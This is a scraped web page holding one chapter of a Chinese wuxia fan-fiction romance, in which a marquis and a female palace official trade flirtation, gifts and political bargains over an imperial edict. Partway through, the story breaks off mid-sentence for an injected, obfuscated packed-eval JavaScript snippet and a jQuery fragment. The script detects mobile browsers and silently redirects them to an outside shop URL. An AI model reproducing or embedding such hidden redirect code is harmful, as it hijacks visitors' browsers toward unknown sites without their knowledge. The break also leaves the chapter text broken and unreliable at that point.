文趣网 > 其他小说 > [综武侠]红鸾权臣何时归 > 47.展眉好看,皱眉也好看
    补缴完一整笔巨额税银,府中账册又空下去一大截。纵使有桥集团家底殷实,这般实打实的“大出血”也让他心头郁结不散。

    方应看往日里挂在唇角的温雅笑意淡了大半,眉宇间凝着一层挥之不去的闷意。他靠在椅背上,手里摩挲着那支玻璃簪子,花瓣被指尖的温度捂热了,还是没有想通——这笔钱交得憋屈,但也交得不得不服。

    那个女人算准了他不会为这点钱翻脸,也算准了他舍不得为这点钱翻脸。

    院外忽然传来通传,说是御前女官登门来送赏赐了。

    方应看稍敛心绪,将簪子收入袖中,抬手理了理衣袍,重新摆出世家公子该有的从容姿态。抬眼望去,院门处走来一道纤细身影。阳流景头戴素色帷帽,薄纱垂落遮住大半容颜,只露出一截清瘦下颌与线条柔和的唇线,身后跟着两名内侍,手捧层层叠叠的赏赐礼盒。

    “阳女官大驾光临,有失远迎。”方应看礼数周全,躬身相迎,面上是恰到好处的欣喜恭顺,一副蒙受圣恩、受宠若惊的模样。

    可那点藏在眼底的郁闷,根本瞒不过她。待内侍尽数退远、院中彻底清静,阳流景抬手轻轻撩开帷帽纱帘。细碎天光落下来,铺在她清绝眉眼上,温柔又清醒。她淡淡瞥他一眼,一语戳破:“此处无外人,小侯爷不必这般硬撑体面。”

    伪伪装被戳穿,方应看也不再强撑。方才刻意扬起的唇角缓缓落下,眉峰狠狠蹙起,肩头微微垮了些许,褪去朝堂上的深沉算计,竟露出几分少年人般直白的孩子气。他闷闷地叹了口气,声音里带着一股说不清道不明的委屈。

    “一笔税银下去,大半周转银两都没了。换谁也快活不起来。”

    模样算不上气恼,更像是吃了闷亏后的委屈嘟囔。反差感十足。

    阳流景见状忍不住弯了弯眉眼,轻笑出声,“所以说,要按时纳税啊。”她的语气很轻,像在哄一个闹脾气的孩子。

    阳流景看得微哂,缓步走到赏赐礼盒旁,语气轻俏,偏字字扎心:“官家知晓侯爷此番补税出力良多,特意备了赏赐安抚。只不过——这些金银锦缎、奇珍玩物,说到底,花的仍旧是侯爷你自己的银子。”

    方应看:“……”

    本就没散尽的郁气,瞬间又被精准填上一层。合着他大出血为国补税,最后还要自掏腰包赏自己?

    小皇帝这笔账,算得是真够精细。

    他抬眸看向她,眼底带着几分无奈的好笑,静静等她下文。

    流景却不逗他了,抬眸朝外轻抬手势:“俗物只是添头,真正的重头戏,在后面。”

    两名候着的宫人合力,抬进一面一人多高的落地玻璃镜。镜面澄澈通透,光影流转,立在庭院中央,将周遭景物映得分毫毕现。院中的玉兰、廊下的灯笼、远处天边的流云,尽数收进那一方冰凉的水银背面,清晰得像另一个世界。

    方应看目光骤然一凝,方才那点闷气瞬间被冲淡大半。

    “琉璃坊产出的镜器,寻常不过巴掌大小,最大的也仅及脸盆。”阳流景走到镜旁,指尖轻点冰凉镜面,语声从容讲解,“镜面越大,烧制、塑形、打磨的难度便越大。像这般尺寸的落地镜,放眼整个大宋,如今也只造出两块。”

    她转过身,背靠镜面,看着方应看。

    “第一块安置在宫内文德殿,供上朝官员整理仪容。蔡京数次派人往琉璃坊重金求购、定制同款,均被回绝。而这蔡相都得不到的第二块——”她顿了顿,嘴角弯起一个极浅的弧度,“今日官家特意命我送来给侯爷。”

    这话一出,方应看眸中亮起真切的欢喜。金银财帛于他而言早已不算稀奇,这般世间独一份的奇珍,才是真正的心意与体面。他走上前,站在巨镜前端详,镜中清晰映出他挺拔的身形与眉眼,月白锦袍,玉冠束发,折扇轻握,端的是一幅世家公子的风流画卷。

    可欢喜归欢喜,眉宇间那道褶皱却始终没能彻底舒展。他的视线落在镜子四围的边框上,眼底掠过一丝无奈与嫌弃。整块镜面价值连城,外框却只是最普通的榆木,纹理粗糙,用料俭省。别说名贵的黄梨花木,连稍好的硬木都舍不得用。这位小皇帝,当真是抠门到了骨子里。

    他仰头望着镜面,心思百转,眉头依旧轻蹙。

    下一瞬,一缕微凉气息悄然贴近。

    一道纤细身影立于他身侧,阳流景抬指,带着微凉触感的指尖轻轻抚上他蹙起的眉峰。触碰极轻、极软,克制又亲昵,像春风落于眉骨,转瞬便扰得人心尖发颤。

    “方小侯爷。”她声音压得很低,温柔得近乎缱绻,“官家赐你世间独一份的宝镜,你怎还愁眉不展?愁眉不展可就不好看了”

    指尖停在他眉骨处,没有收回。

    方应看浑身微僵。他侧过头看向她,近在咫尺的距离里,能看清她眼底漾着的浅浅笑意,能看清她睫毛在眼下投下的扇形阴影,能看清她唇边那抹似笑非笑的弧度。心头那点因榆木边框而起的郁闷,忽然就变了味道,混杂着悸动、玩味与说不清道不明的缱绻。

    他顺势没有展眉,反而故意将眉头皱得更深了些。带着几分故意撒娇似的顽劣,目光锁住她的双眼,“阳女官倒是说说,我这模样,很不好看?”

    阳流景低笑一声,指尖顺着眉形轻轻划动,从眉头到眉峰,从眉峰到眉尾,慢悠悠的,像是在描一幅画。

    “倒也不是。”她视线落在他紧蹙的眉眼上,认真端详片刻,语气带着几分戏谑的夸赞,“你这般皱着眉,眼底藏着心思,添了几分沉郁气韵——好看。”

    话音落,她指尖微微用力,轻轻向上推了推他蹙起的眉心。

    “不妨试着展眉看看?”

    方应看依言缓缓松开眉头。原本纠结的线条舒展开来,温雅温润的模样尽数显露,褪去闷意,只剩世家公子的清俊风姿。阳光落在他的侧脸上,将那副好皮囊照得几乎透明。

    阳流景的指尖也随之移到他舒展的眉尾,轻轻一点。

    “你瞧,眉眼松开时,温润明朗,又是另一番好看。”她顿了顿,目光直直望进他眼底,笑意狡黠又勾人,“我瞧着有趣得很——你皱着眉时别有一番韵味,舒展开来又温润动人。展眉好看,皱眉,也好看。”

    短短一句话,似打趣,似真心夸赞,又藏着明目张胆的撩拨。她说话的时候,指尖还停在他的眉尾没有收回,温凉的触感像一枚浅浅的印章。

    庭院里静了一瞬。

    镜面映出两人并肩的身影,光影缠绵。方应看耳尖悄然泛红,方才因补税、镜框而起的种种郁气,尽数被这几句软语、这番亲昵触碰搅得烟消云散。他望着近在眼前的人,唇角不受控制地向上扬起,眼底的偏执与贪恋,一点点漫了上来。

    他微微偏头,刻意拉近两人距离。近到能看见她瞳孔里自己的倒影,近到能感觉到她呼吸的温度。

    “那在阳女官眼里——”他的声音压得极低,像怕惊动什么,“我是皱眉更合您心意,还是展眉更得您青睐?”

    反攻的意味直白又浓烈。只要她答一句,他便能顺势更近一寸,撕开所有公事分寸、君臣边界。他的手指微微蜷起,克制着去握她那只还停在他眉尾的手。

    可流景没有退,也没有逃。她抬眼直视他灼热的目光,眼尾浅浅一挑,笑意清甜又坦荡,一语双关,轻轻落定。

    “自然是——都喜欢。”

    一字落地,风月燎原。

    都喜欢,喜欢他沉稳隐忍的模样,喜欢他孩子气闷气的模样;喜欢他步步算计的城府,也喜欢他唯独在她面前卸下心防的柔软。

    方应看眸色骤然深暗,心底贪念疯长,几乎克制不住想要拥她入怀、吻尽眼底风月的冲动。

    他正要开口再逼一句,要一个更真切的答案——

    院外忽然传来由远及近的宫人行步声,规矩又急促,打破满院缱绻静谧。

    两人瞬间默契回神,阳流景从容收回指尖,轻轻后退半步,疏离分寸感瞬间归位。眼底那点撩人的笑意敛得干干净净,又变回端庄自持的御前女官。仿佛方才镜前抚眉、轻声撩人、一语双关的暧昧,尽数无人知晓。

    方应看也压下眼底翻涌的风月,收敛所有偏执贪恋,重新端起侯爷矜贵姿态。只是那双眸子,落在她身上时,再也藏不住沉沉眷念。

    方应看收敛情绪,抬手示意流景在院中石凳落座。侍女奉上茶来,茶烟袅袅,掩住了空气中残存的那一丝暧昧。

    “阳女官此番前来,除了赏赐,可还有别的事?”他的语气恢复了公事公办的温雅,但手指在杯沿上轻轻摩挲,暴露了他心底并不平静。

    流景端起茶盏,抿了一口。“侯爷想问的,是官家的动向吧。”

    待他开口辩解,她语调微沉,带着几分通透的冷俏,直接划死分寸:“天底下从没有免费的情报。寻常耳目尚且需要重金收买,侯爷仅凭几句空言,便想套取宫禁核心动向,未免太过贪心。”

    方应看闻言低笑出声,眼底掠过一丝无奈与欣赏。旁人皆贪他的权势财富、慕他的温润皮囊,唯独阳流景,清醒通透、分毫不让,从不接他的空口人情,只认实打实的利益交换。

    他不再故作遮掩,抬手朝廊下微一示意。候立远处的侍女即刻躬身上前,双手捧着一只精工绝伦的象牙首饰盒,缓步踏入院中,将盒子轻置石桌之上,垂身退去。

    盒身镂刻缠枝莲纹,纹理繁复细腻,温润如玉,单是这只首饰盒,便已是千金难寻的珍品。

    方应看抬手轻掀盒盖,刹那间珠光流转、碎彩盈目。

    珠钗、玉簪、宝石璎珞、镂空耳珰错落陈列,件件工艺卓绝、华贵雅致,满满一匣珍宝,皆是精心甄选的上上之品。

    “些许薄物,权当酬谢。”方应看语气淡然,仿佛只是随手相送的寻常物件。

    阳流景眸光一亮,眼底漾开真切的欢喜。她素来克制自持,此刻眼底的细碎光彩,却藏不住少女天性里对美好事物的偏爱。她指尖轻触一支圆润珍珠钗,抬眸轻笑,调侃意味十足:“侯爷手笔未免太过阔绰,这般琳琅满目的珍宝尽数送来,是打算把我当成专属首饰架子了?”

    方应看望着她鲜活灵动的眉眼,心底软意翻涌。这些首饰早已备好许久,只因她入宫了,一直无缘送出,今日终于得偿所愿。这番深藏的心意他缄口不提,只唇角含着纵容的笑意,声线温沉:“若你喜欢,便日日换新佩戴。待到匣中空空,我便再添新的。”

    句句皆是纵容,字字暗藏偏爱。阳流景心下畅快,坦然收下这份厚礼,如约松口,道出一句关键风向。

    “罢了,收了侯爷的厚礼,便透你一桩要事。官家已拟密旨,即日诏罢西城所,李彦坐实诸般重罪,赐毒酒赐死,明日便遣人赴西北传旨。”

    方应看合上了手上的扇子,小皇帝这登基一年来的动作可不小,先废除了“花石纲”,又诏罢“西城所”,这可是两样肥差。那“花石纲”就连他都眼馋得紧,先帝是怎么生出这样一个儿子来的?难不成真的歹竹出好笋了?

    “李彦在西北手握私兵。”他把扇子放在桌上,语气沉了几分,“前去宣旨的人选,需万万慎重。”

    意思是,得派个会武功的高手过去,不然容易给你半道截杀了。

    阳流景迎上他凝重的目光,神色平静无波,语气淡然落地:“陛下决定,派我前往西北传旨。”

    话音落地,方应看心头骤然一紧,呼吸微滞,险些失态出声。官家简直疯了!

    李彦已是穷途末路,垂死之际必定铤而走险,截杀钦命使者、对抗皇权绝非不可能。阳流景身为御前近臣、探花亲妹,身份尊贵且万众瞩目,派她远赴险地,分明是把人直接推上刀口。

    可瞬息之间,他便看透了少年帝王的狠绝棋局。这是一场赤裸裸的朝堂示威。若阳流景半路遇袭,便是公然挑衅皇权,小帝师出有名,可借此雷霆震怒,顺势清洗朝堂所有奸佞党羽、肃清朝野积弊。

    帝王棋局恢弘狠辣,可所有生死风险,却要由眼前这女子一力承担。

    “阳女官,此事需要慎重啊。”他的语气比方才重了一些。小皇帝年纪小,可以为达目的不择手段,他却是个怜香惜玉的人。如此佳人折在这种小事上,岂不可惜?

    “我并非孤身赴险。”阳流景淡淡开口,稍稍缓和了紧绷的气氛,可下一句落地,却让方应看的心彻底沉了下去,看清了这盘困局的无赖与霸道。

    “官家调拨一千精锐禁军沿途护送。可世事无绝对,若是半路遇袭,官家便可名正言顺整顿朝堂、肃清异己。更关键的是——今日这番西北密旨、传旨人选,我唯独告知了你一人。”

    她抬眸直视他眼底,字句清晰、力道千钧:“一旦事发,消息泄露,小侯爷,你就百口莫辩了。”

    方应看指尖骤然收紧,指节泛白,手上的青瓷茶杯险些

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626789|205530||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    被他当场捏碎。何等无赖的打法,鬼知道那些禁军有没有被掺沙子,这是势必要拉他入局。

    “官家到底想怎么样?”他索性摊牌,语气里没有了方才的温雅周旋,“直说吧。”

    “官家的意思是——”流景看着他,“让你与我一同前往西北。”

    方应看沉默了。

    从私心的角度,他应该答应,由他陪同,流景的安全自然能得到很好的保障。但从有桥集团的老板的角度看,就不同了。他要是去了,就是明晃晃的站队。至今为止他对小皇帝的支持都是背地里的,他对现状也很满意。按他的计划,是再暗中发育几年,再走上朝堂的。

    就在他迟疑不决之际,阳流景抬手,从宽大的官袖中取出一卷明黄绫面圣旨,掌心托住,皇权威仪,扑面而来。

    “官家为你备好实职。侯爷,可要接旨?”

    方应看眼神一凛,即刻收敛所有心绪,整肃衣袍,躬身下跪欲接旨,动作利落恭谨,毫无迟疑。

    “且慢。”清冷二字落下,带着不容置喙的君臣分寸。阳流景手腕微收,将圣旨骤然撤回,脸上褪去所有私交暖意,端起御前女官的端庄冷肃,眉眼凌厉、公事公办。“方小侯爷,你无半分社稷实绩、朝堂功劳,凭什么受朝廷册封、领实权官职?”

    “无功不受禄,这最简单的规矩,侯爷不会不懂。”

    一语点破要害,彻底打碎他侥幸的心思。方应看心头微顿,瞬间全然明白,又是交易。

    阳流景和她以往遇到的女人都不同,她不吃他的承诺,不吃他画的大饼。她身后站着的是皇权,能交换利益的只有利益。

    他重新坐下,收敛了脸上的表情,“阳女官,有句话不知当讲不当讲。”

    “侯爷请说。”

    “政事上牵扯太多,恐怕难以脱身。”他看着她的眼睛,语气诚恳得不像是在演戏。

    流景摇了摇头,看他的眼神里带了点失望,“小侯爷,你错了。有人求的是安乐一生,有人求的是荣华富贵,有人求的是权倾朝野,有人求的是青史留名。我虽是一女子,却也有自己所求。”

    方应看看着她,他忽然觉得这个女人和自己想象出来的完全不一样。他以为她追求的会是至高无上的权柄,会是未来皇后乃至太后的宝座。

    他头一次在称呼上舍弃了她的官职,不是为了调情,是为了更认真地问她本人的追求,“流景姑娘追求的是什么呢?”

    阳流景眸光澄澈,望向遥远天际,轻声吐出两句振聋发聩的诗,字字落地有声:“位卑未敢忘忧国,事定犹须待阖棺。”

    话音落下的瞬间,她周身仿佛破开凡尘烟火,覆上一层熠熠微光。温柔却铿锵,清冷却滚烫,像一轮悬于乱世的暖阳,平等普照万物,亦甘愿奔赴风雨。

    方应看想起了一些很久以前的事,义父义母的教导,那些他以为早就忘了、其实只是不愿想起的东西。

    那些他最不屑一顾、嗤之以鼻的道理——家国天下,忠义两全。他以为这些东西早在他入京封侯的那一天就从他的骨血里剥离干净了。此刻它们忽然又回来了,不是被任何人强加的,是眼前这个人身上自带的。

    方应看一直都觉得阳流景会是赵师容那般的女子,事实证明他是对的,她是“赵师容”,却不是他的“赵师容”。

    她身边坐着的是至高无上的皇权,所以他开始希望她不是“赵师容”了,赵师容为家国大义而死,下场着实凄惨。

    他希望她只要享受赵师容那份尊崇就好了,其余的家国大义半点不沾。

    但这真的可能吗?高悬于天际的太阳平等的温暖每一个人,更是为了做得更多而落入了汴京的烟火中,但太阳是不会坠入深海的。

    方应看头一次觉得自己被情感冲昏了头脑,他冲着流景抱拳拱手,姿态郑重得像是在立誓,“在下愿意一同前往,为陛下效犬马之劳。”

    “好。”阳流景眉眼舒展,漾开一抹清亮真切的笑意,心头大石彻底落地。“明日午时,城外长亭,我在此候侯爷赴约。”

    言罢,她敛袖转身,利落离去,干脆无半分留恋。

    方应看立在原地,望着她渐行渐远的背影,又低头看向石桌上那只被留下的象牙珍宝盒,无奈失笑,眼底却盛满纵容的温柔。

    圣旨被她带走,敲定他的前程羁绊;珍宝被她留下,又没收下了他的满心偏爱。这一场交易、一场拉扯,他终究是被她拿捏得彻彻底底,心甘情愿。

    第二日。方应看收到了让他去西北的圣旨。明黄色的绢帛,御玺鲜红。内容很简单:着神通侯方应看即刻启程,前往西北宣旨,协办西城所善后事宜。全程没有提到另一个人。

    方应看看着圣旨上那几行工整的字迹,在心里腹诽:不会是骗我,让我自己去吧?

    他收好圣旨,命人备车。马车驶出城门的时候,他掀开车帘往外看。城外官道旁,一片黑压压的禁军正在驻扎。军帐整齐,旗帜鲜明,远远望去像一片沉默的森林。他粗略数了数,约莫千人。

    军阵之外,官道边有一座凉亭,亭中站着一个人。

    那人身量不高,身形瘦削,穿着一件崭新的宫锦澜袍。颜色是干净的淡蓝色,绣了细细的勾云纹,一眼瞧上去干净又清冷。腰间束着一条银丝革带,挂着一枚白玉佩。黑发用发带高高竖起,额前覆盖一条浅蓝绣云纹的抹额,衬得眉目愈发清俊。

    方应看的马车在亭前停下。他掀开车帘,看了一眼,然后怔住了。

    好一个美男子,眉如远山,目如朗星,鼻梁高挺,唇色浅淡。那副五官本就生得极好,换上男装后褪去了女子的柔婉,平添了几分英气,却又不显得粗犷。清雅,矜贵,像一株生在深谷的幽兰,偏偏又带着几分不怒自威的锋芒。

    流景手中握着携一柄十二骨黑金配色折扇,扇骨乌黑如墨,骨脉棱线端正利落,节节暗嵌细金线纹,开合之间微光潜流,扇面为哑光玄黑绫绢,质地密实挺括。正面以极细鎏金绣线织就潜龙云浪纹样。她轻轻摇着扇子,姿态从容,风度翩翩,比那许多世家公子还要更像世家公子。

    见马车停稳,她收起扇子,朝方应看行了个文人的礼节。双手抱拳,微微欠身,揖让进退间自有一股清贵之气。

    “小侯爷,在下大宋日报景流泱,奉命与侯爷一同前往。”她直起身,嘴角弯起一个恰到好处的弧度,“旅途多艰,还请侯爷多多关照。”